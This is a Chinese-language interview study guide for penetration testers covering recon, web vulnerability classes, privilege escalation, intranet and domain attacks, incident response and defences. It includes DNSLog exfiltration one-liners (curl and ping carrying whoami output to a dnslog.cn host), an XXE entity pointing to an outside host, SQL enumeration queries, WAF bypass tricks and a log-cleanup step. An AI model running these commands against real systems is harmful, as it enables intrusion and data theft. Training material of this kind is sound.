渗透测试工程师最新面试题(干货)
字数 3678 2025-08-11 08:35:53

渗透测试工程师全面知识手册

渗透测试流程

1. 信息收集阶段

  1. 域名信息收集

    • 获取域名的whois信息(注册者邮箱、姓名、电话等)
    • 查询服务器旁站及子域名站点(主站防护较强时可从旁站突破)
  2. 服务器信息探测

    • 操作系统版本识别
    • Web中间件识别(IIS、Apache、Nginx等)及已知漏洞检查
    • IP地址端口扫描(常见端口如MySQL-3306、FTP-21、SSH-22等)
  3. 网站结构探测

    • 目录结构扫描(使用dirsearch、dirb、ffuf等工具)
    • Google Hacking技术探测后台、敏感文件
    • 网站架构探测(JS版本、CMS类型、中间件信息)
  4. 资产收集工具

    • 灯塔系统
    • OneForAll-master

2. 漏洞扫描

工具使用:

  • AWVS
  • Nessus
  • AppScan
  • Xray

手动测试重点:

  • SQL注入
  • XSS跨站脚本
  • CSRF跨站请求伪造
  • XXE漏洞
  • SSRF服务端请求伪造
  • 文件包含/上传/解析漏洞
  • 远程代码执行
  • 越权访问
  • 反序列化漏洞

3. 漏洞利用

常见利用方式:

  • SQL注入:使用sqlmap
  • XSS跨站脚本:使用Beef-XSS
  • 文件上传漏洞:上传一句话木马
  • 抓包工具:Burp Suite

4. 权限提升

提权方法:

  1. MySQL提权:

    • mof提权
    • udf提权
    • 反弹shell提权
  2. Windows提权:

    • 溢出提权
  3. Linux提权:

    • 脏牛漏洞(CVE-2016-5195)
    • Polkit漏洞(CVE-2021-4034)

5. 日志清理

6. 报告编写

  • 总结测试过程
  • 提供修复方案

业务逻辑漏洞

1. 越权漏洞

  • 水平越权:修改参数查看他人信息(如订单或个人资料)
  • 垂直越权:普通用户获取管理员权限

2. 密码找回漏洞

  • 攻击方式:分析数据包获取用户凭证
  • 防御措施:
    • 不将token等验证数据直接返回客户端
    • 用户身份验证必须在后端实现

3. 支付逻辑漏洞

  • 攻击方式:修改请求中的金额参数
  • 防御措施:
    • 对敏感信息加密并在服务端校验
    • 添加防重放token

4. 验证码漏洞

  • 类型:
    • 暴力破解
    • 重复使用
    • 绕过(验证码与用户不在同一请求校验)

5. 重放攻击

  • 攻击方式:伪造IP多次重复请求
  • 防御措施:
    • 添加token
    • 添加时间戳

护网蓝队工作

1. 日常工作

  • 实时监控设备,分析日志及流量
  • 记录并上报危险攻击事件
  • 及时封禁攻击IP
  • 编写日报及总结报告

2. Windows应急响应

  • 检查弱口令
  • 检查高危端口开放情况
  • 检查可疑账号
  • 分析事件日志(eventvwr.msc)

3. 设备误报处理

  • 外网误报:升级策略
  • 内网误报:与负责人协商,必要时添加白名单

安全设备

常见安全设备

  • 入侵防御系统(IPS)
  • 入侵检测系统(IDS)
  • 防火墙(火绒、安全管家等)
  • WAF(如安全狗)
  • 日志审计系统
  • 堡垒机
  • 蜜罐(如T-Pot)
  • 漏洞扫描系统(AWVS、Nessus)

渗透测试技术详解

1. SQL注入

分类:

  1. 基于时间的盲注
  2. 基于布尔的盲注
  3. 基于报错的注入
  4. 基于数字型的注入(联合查询、堆查询、宽字节注入)

防御措施:

  • 使用预编译语句
  • 过滤特殊符号
  • 检查变量数据类型和格式
  • 使用白名单验证输入

常用SQL语句:

-- 获取数据库名
SELECT SCHEMA_NAME FROM information_schema.SCHEMATA

-- 获取表名
SELECT TABLE_NAME FROM information_schema.TABLES

-- 获取字段名
SELECT * FROM information_schema.COLUMNS WHERE TABLE_NAME="users" AND TABLE_SCHEMA="security"

-- 获取数据
SELECT id,username,password FROM users

WAF绕过技巧:

  1. 大小写替换
  2. 关键字替换
  3. 编码(16进制、Unicode)
  4. 插入注释
  5. 使用特殊符号
  6. 缓冲区溢出

sqlmap使用:

# GET型注入
sqlmap -u "注入点网址"

# POST型注入
sqlmap -u "注入点网址" --data="post的参数"

# Cookie/X-Forwarded-For注入
sqlmap -r "抓包文件"

2. XSS跨站脚本攻击

分类:

  • 反射型(非持久型)
  • 存储型(持久型)
  • DOM型

防御措施:

  1. 使用XSS Filter
  2. 输入过滤(合法字符、长度限制、格式验证)
  3. 输出编码:
    • < → <
    • → >

    • & → &
    • " → "
    • ' → '
  4. 内容安全策略(CSP)

3. CSRF跨站请求伪造

防御措施:

  1. 验证HTTP Referer字段
  2. 在请求中添加token并验证
  3. 在HTTP头中自定义属性并验证

4. SSRF服务端请求伪造

防御措施:

  1. 限制协议(仅允许http/https)
  2. 限制IP
  3. 限制端口(80,443等常见端口)
  4. 过滤返回信息
  5. 统一错误信息

检测方法:

  • 有回显:尝试加载http://www.baidu.com确认漏洞
  • 无回显:
    • 使用DNSLog平台
    • 使用Burp Collaborator
    • 检查服务器日志

5. 文件上传漏洞

利用方式:

  1. 直接上传WebShell
  2. 绕过防护:
    • 前端校验:上传允许类型后修改后缀
    • MIME校验:修改Content-Type
  3. 利用CMS通用漏洞

WAF绕过:

  1. 数据溢出
  2. %00截断
  3. 去掉双引号
  4. 后缀大小写绕过

6. 文件解析漏洞

常见解析漏洞:

  1. Apache:从右向左解析,不能解析则向前跳
  2. Nginx:
    • 畸形解析漏洞
    • 空字节代码执行漏洞
  3. IIS 6.0:
    • 目录解析(/xx.asp/xx.jpg)
    • 文件解析(test.asp;.jpg)

7. 文件包含漏洞

分类:

  • 本地包含
  • 远程包含

防御措施:

  • 禁止加载外部实体
  • 过滤用户提交的XML数据

8. 命令执行漏洞

常见危险函数:

  • system()
  • exec()
  • shell_exec()
  • eval()
  • passthru()

绕过技巧:

  1. 使用管道符(|、&、||、&&)
  2. 使用特殊符号(引号、$等)
  3. DNSLog带出命令结果:
    # Linux
    curl http://`whoami`.uvlmxy.dnslog.cn
    ping `whoami`.uvlmxy.dnslog.cn
    
    # Windows
    ping %USERNAME%.uvlmxy.dnslog.cn
    
  4. 编码(如base64)

9. XXE漏洞

防御措施:

  1. 禁用外部实体:
    libxml_disable_entity_loader(true);
    
  2. 过滤关键词:<!DOCTYPE、<!ENTITY、SYSTEM、PUBLIC

内网渗透

渗透流程

  1. 攻击外网服务器获取权限
  2. 利用外网服务器作为跳板
  3. 攻击内网其他服务器
  4. 获取敏感数据

信息收集命令

ifconfig        # 查看IP
route           # 查看路由
arp             # 查看ARP列表
sysinfo         # 系统信息
getwd           # 当前目录
getpid          # 进程号
run get_local_subnets  # 查看网段与掩码

多层内网渗透

  1. 上传msf到第一层主机
  2. 添加第二层网络路由,启用代理
  3. 利用第二层主机添加第三层网络路由
  4. 设置端口转发(lcx、ew、socks)

提权技术

Linux提权

  1. 内核漏洞提权:
    • CVE-2016-5195(脏牛漏洞)
    • CVE-2021-4034(Polkit漏洞)
  2. SUID提权
  3. 第三方软件提权

Windows提权

  1. 系统漏洞提权
  2. 服务提权
  3. 令牌窃取

应急响应流程

  1. 准备阶段:明确资产范围,进行安全加固
  2. 检测阶段
    • 使用netstat -ano查看端口连接
    • 使用tasklist | find "PID"定位进程
    • 分析系统日志(eventvwr.msc)
  3. 抑制阶段:隔离受影响系统
  4. 根除阶段:找出攻击源头并遏制
  5. 恢复阶段:从可信备份恢复系统
  6. 总结阶段:记录有效手段和方法

反序列化漏洞

PHP反序列化

关键魔术方法:

  • __construct():对象创建时调用
  • __destruct():对象销毁时调用
  • __toString():对象被当作字符串使用时调用
  • __sleep():序列化前调用
  • __wakeup():序列化后立即调用

防御措施:

  1. 对反序列化数据加密或签名
  2. 添加认证授权
  3. 限制反序列化服务仅在本地监听
  4. 禁止使用存在漏洞的第三方库
  5. 过滤危险函数

溯源技术

1. 攻击源捕获

  • 安全设备报警
  • 日志与流量分析
  • 服务器资源异常
  • 钓鱼邮件分析
  • 蜜罐系统信息

2. 溯源方法

  1. IP定位技术
  2. 域名WHOIS查询
  3. 恶意样本分析
  4. 威胁情报平台

OWASP Top 10

  1. 失效的访问控制
  2. 加密机制失效
  3. 注入
  4. 不安全设计
  5. 安全配置错误
  6. 自带缺陷和过时的组件
  7. 身份识别和身份验证错误
  8. 软件和数据完整性故障
  9. 安全日志和监控故障
  10. 服务端请求伪造

域渗透

渗透思路

  1. 通过域成员主机定位域控制器IP及域管理员账号
  2. 利用域成员主机作为跳板
  3. 从内存中dump域管理员密码
  4. 拿下域控制器控制整个内网

常用命令

dsquery server                  # 获取域控制器IP
net group "domain controllers" /domain  # 获取域控制器主机名
net group "domain admins" /domain       # 查询域管理用户
net user /domain                # 查看所有域用户

登录界面测试思路

  1. Cookie属性安全检查(HttpOnly)
  2. 响应头缺失检查(X-Content-Type-Options等)
  3. CORS漏洞检查
  4. 敏感信息明文传输检查
  5. 不安全的HTTP方法检查(DELETE、PUT等)
  6. 账号密码爆破测试
  7. 验证码漏洞测试
  8. 短信爆破测试
  9. Host头攻击测试
  10. 用户枚举测试
  11. 万能密码测试
  12. SQL注入测试
  13. 中间件漏洞检查
  14. 未授权访问测试

DNSLog使用

应用场景:

  1. SQL盲注
  2. 无回显XSS
  3. 无回显命令执行
  4. 无回显SSRF

常用平台:

  • http://www.dnslog.cn/
  • http://ceye.io/records/dns

使用示例:

<!ENTITY test SYSTEM "SSRF.xxxx.ceye.io\aa">

代码审计要点

1. 审计方法

  1. 使用自动化工具扫描(如easy源代码审计系统)
  2. 手工审计关键词:
    • SQL注入:select、delete、update、insert
    • 文件上传:upload、write、fileName、filePath
    • 命令执行:eval、system、exec

2. 常见脚本工具

  • dirsearch:目录扫描
  • OneForAll:资产搜集
  • sqlmap:SQL注入
  • jquery脚本:检查jquery版本漏洞
  • GUI-Tools:渗透测试集成工具

安全开发建议

  1. 了解常见高危漏洞原理
  2. 定期进行安全培训
  3. 实施安全编码规范
  4. 使用安全开发框架
  5. 定期代码审计
  6. 建立安全测试流程
渗透测试工程师全面知识手册 渗透测试流程 1. 信息收集阶段 域名信息收集 获取域名的whois信息(注册者邮箱、姓名、电话等) 查询服务器旁站及子域名站点(主站防护较强时可从旁站突破) 服务器信息探测 操作系统版本识别 Web中间件识别(IIS、Apache、Nginx等)及已知漏洞检查 IP地址端口扫描(常见端口如MySQL-3306、FTP-21、SSH-22等) 网站结构探测 目录结构扫描(使用dirsearch、dirb、ffuf等工具) Google Hacking技术探测后台、敏感文件 网站架构探测(JS版本、CMS类型、中间件信息) 资产收集工具 灯塔系统 OneForAll-master 2. 漏洞扫描 工具使用: AWVS Nessus AppScan Xray 手动测试重点: SQL注入 XSS跨站脚本 CSRF跨站请求伪造 XXE漏洞 SSRF服务端请求伪造 文件包含/上传/解析漏洞 远程代码执行 越权访问 反序列化漏洞 3. 漏洞利用 常见利用方式: SQL注入:使用sqlmap XSS跨站脚本:使用Beef-XSS 文件上传漏洞:上传一句话木马 抓包工具:Burp Suite 4. 权限提升 提权方法: MySQL提权: mof提权 udf提权 反弹shell提权 Windows提权: 溢出提权 Linux提权: 脏牛漏洞(CVE-2016-5195) Polkit漏洞(CVE-2021-4034) 5. 日志清理 6. 报告编写 总结测试过程 提供修复方案 业务逻辑漏洞 1. 越权漏洞 水平越权 :修改参数查看他人信息(如订单或个人资料) 垂直越权 :普通用户获取管理员权限 2. 密码找回漏洞 攻击方式:分析数据包获取用户凭证 防御措施: 不将token等验证数据直接返回客户端 用户身份验证必须在后端实现 3. 支付逻辑漏洞 攻击方式:修改请求中的金额参数 防御措施: 对敏感信息加密并在服务端校验 添加防重放token 4. 验证码漏洞 类型: 暴力破解 重复使用 绕过(验证码与用户不在同一请求校验) 5. 重放攻击 攻击方式:伪造IP多次重复请求 防御措施: 添加token 添加时间戳 护网蓝队工作 1. 日常工作 实时监控设备,分析日志及流量 记录并上报危险攻击事件 及时封禁攻击IP 编写日报及总结报告 2. Windows应急响应 检查弱口令 检查高危端口开放情况 检查可疑账号 分析事件日志(eventvwr.msc) 3. 设备误报处理 外网误报:升级策略 内网误报:与负责人协商,必要时添加白名单 安全设备 常见安全设备 入侵防御系统(IPS) 入侵检测系统(IDS) 防火墙(火绒、安全管家等) WAF(如安全狗) 日志审计系统 堡垒机 蜜罐(如T-Pot) 漏洞扫描系统(AWVS、Nessus) 渗透测试技术详解 1. SQL注入 分类: 基于时间的盲注 基于布尔的盲注 基于报错的注入 基于数字型的注入(联合查询、堆查询、宽字节注入) 防御措施: 使用预编译语句 过滤特殊符号 检查变量数据类型和格式 使用白名单验证输入 常用SQL语句: WAF绕过技巧: 大小写替换 关键字替换 编码(16进制、Unicode) 插入注释 使用特殊符号 缓冲区溢出 sqlmap使用: 2. XSS跨站脚本攻击 分类: 反射型(非持久型) 存储型(持久型) DOM型 防御措施: 使用XSS Filter 输入过滤(合法字符、长度限制、格式验证) 输出编码: < → &lt; → &gt; & → &amp; " → &quot; ' → &#39; 内容安全策略(CSP) 3. CSRF跨站请求伪造 防御措施: 验证HTTP Referer字段 在请求中添加token并验证 在HTTP头中自定义属性并验证 4. SSRF服务端请求伪造 防御措施: 限制协议(仅允许http/https) 限制IP 限制端口(80,443等常见端口) 过滤返回信息 统一错误信息 检测方法: 有回显:尝试加载http://www.baidu.com确认漏洞 无回显: 使用DNSLog平台 使用Burp Collaborator 检查服务器日志 5. 文件上传漏洞 利用方式: 直接上传WebShell 绕过防护: 前端校验:上传允许类型后修改后缀 MIME校验:修改Content-Type 利用CMS通用漏洞 WAF绕过: 数据溢出 %00截断 去掉双引号 后缀大小写绕过 6. 文件解析漏洞 常见解析漏洞: Apache:从右向左解析,不能解析则向前跳 Nginx: 畸形解析漏洞 空字节代码执行漏洞 IIS 6.0: 目录解析(/xx.asp/xx.jpg) 文件解析(test.asp;.jpg) 7. 文件包含漏洞 分类: 本地包含 远程包含 防御措施: 禁止加载外部实体 过滤用户提交的XML数据 8. 命令执行漏洞 常见危险函数: system() exec() shell_ exec() eval() passthru() 绕过技巧: 使用管道符(|、&、||、&&) 使用特殊符号(引号、$等) DNSLog带出命令结果: 编码(如base64) 9. XXE漏洞 防御措施: 禁用外部实体: 过滤关键词:<!DOCTYPE、< !ENTITY、SYSTEM、PUBLIC 内网渗透 渗透流程 攻击外网服务器获取权限 利用外网服务器作为跳板 攻击内网其他服务器 获取敏感数据 信息收集命令 多层内网渗透 上传msf到第一层主机 添加第二层网络路由,启用代理 利用第二层主机添加第三层网络路由 设置端口转发(lcx、ew、socks) 提权技术 Linux提权 内核漏洞提权: CVE-2016-5195(脏牛漏洞) CVE-2021-4034(Polkit漏洞) SUID提权 第三方软件提权 Windows提权 系统漏洞提权 服务提权 令牌窃取 应急响应流程 准备阶段 :明确资产范围,进行安全加固 检测阶段 : 使用 netstat -ano 查看端口连接 使用 tasklist | find "PID" 定位进程 分析系统日志(eventvwr.msc) 抑制阶段 :隔离受影响系统 根除阶段 :找出攻击源头并遏制 恢复阶段 :从可信备份恢复系统 总结阶段 :记录有效手段和方法 反序列化漏洞 PHP反序列化 关键魔术方法: __ construct():对象创建时调用 __ destruct():对象销毁时调用 __ toString():对象被当作字符串使用时调用 __ sleep():序列化前调用 __ wakeup():序列化后立即调用 防御措施: 对反序列化数据加密或签名 添加认证授权 限制反序列化服务仅在本地监听 禁止使用存在漏洞的第三方库 过滤危险函数 溯源技术 1. 攻击源捕获 安全设备报警 日志与流量分析 服务器资源异常 钓鱼邮件分析 蜜罐系统信息 2. 溯源方法 IP定位技术 域名WHOIS查询 恶意样本分析 威胁情报平台 OWASP Top 10 失效的访问控制 加密机制失效 注入 不安全设计 安全配置错误 自带缺陷和过时的组件 身份识别和身份验证错误 软件和数据完整性故障 安全日志和监控故障 服务端请求伪造 域渗透 渗透思路 通过域成员主机定位域控制器IP及域管理员账号 利用域成员主机作为跳板 从内存中dump域管理员密码 拿下域控制器控制整个内网 常用命令 登录界面测试思路 Cookie属性安全检查(HttpOnly) 响应头缺失检查(X-Content-Type-Options等) CORS漏洞检查 敏感信息明文传输检查 不安全的HTTP方法检查(DELETE、PUT等) 账号密码爆破测试 验证码漏洞测试 短信爆破测试 Host头攻击测试 用户枚举测试 万能密码测试 SQL注入测试 中间件漏洞检查 未授权访问测试 DNSLog使用 应用场景: SQL盲注 无回显XSS 无回显命令执行 无回显SSRF 常用平台: http://www.dnslog.cn/ http://ceye.io/records/dns 使用示例: 代码审计要点 1. 审计方法 使用自动化工具扫描(如easy源代码审计系统) 手工审计关键词: SQL注入:select、delete、update、insert 文件上传:upload、write、fileName、filePath 命令执行:eval、system、exec 2. 常见脚本工具 dirsearch:目录扫描 OneForAll:资产搜集 sqlmap:SQL注入 jquery脚本:检查jquery版本漏洞 GUI-Tools:渗透测试集成工具 安全开发建议 了解常见高危漏洞原理 定期进行安全培训 实施安全编码规范 使用安全开发框架 定期代码审计 建立安全测试流程